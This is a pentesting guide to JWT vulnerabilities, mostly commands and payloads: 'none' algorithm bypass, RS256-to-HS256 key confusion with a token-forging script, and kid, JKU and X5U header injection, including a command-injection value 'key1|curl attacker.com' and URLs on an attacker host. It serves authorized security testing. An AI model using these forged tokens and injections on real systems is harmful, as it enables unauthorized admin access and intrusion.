Testing for JSON Web Token Vulnerabilities

When to Use

• When testing applications using JWT for authentication and session management
• During API security assessments where JWTs are used for authorization
• When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
• During penetration testing of single sign-on (SSO) systems
• When auditing JWT library configurations for known vulnerabilities

Prerequisites

• jwt_tool (Python JWT exploitation toolkit)
• Burp Suite with JWT Editor extension
• jwt.io for decoding and inspecting JWT structure
• Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
• hashcat or john for brute-forcing weak JWT secrets
• Python PyJWT library for custom JWT forging scripts
• Access to application using JWT-based authentication

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Decode and Analyze JWT Structure

# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git

# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>

# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d

# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)

# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers

Step 2 — Test "None" Algorithm Bypass

# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a

# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)

# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"

# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin

# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin

Step 3 — Test Algorithm Confusion (RS256 to HS256)

# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret

# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json

# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout > public_key.pem

# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem

# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
    public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"

Step 4 — Test Key ID (kid) Parameter Injection

# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
  -S hs256 -p "secret-key"

# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
  -S hs256 -p ""

# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""

# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"

# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"

Step 5 — Test JKU/X5U Header Injection

# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s

# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json

# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"

# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"


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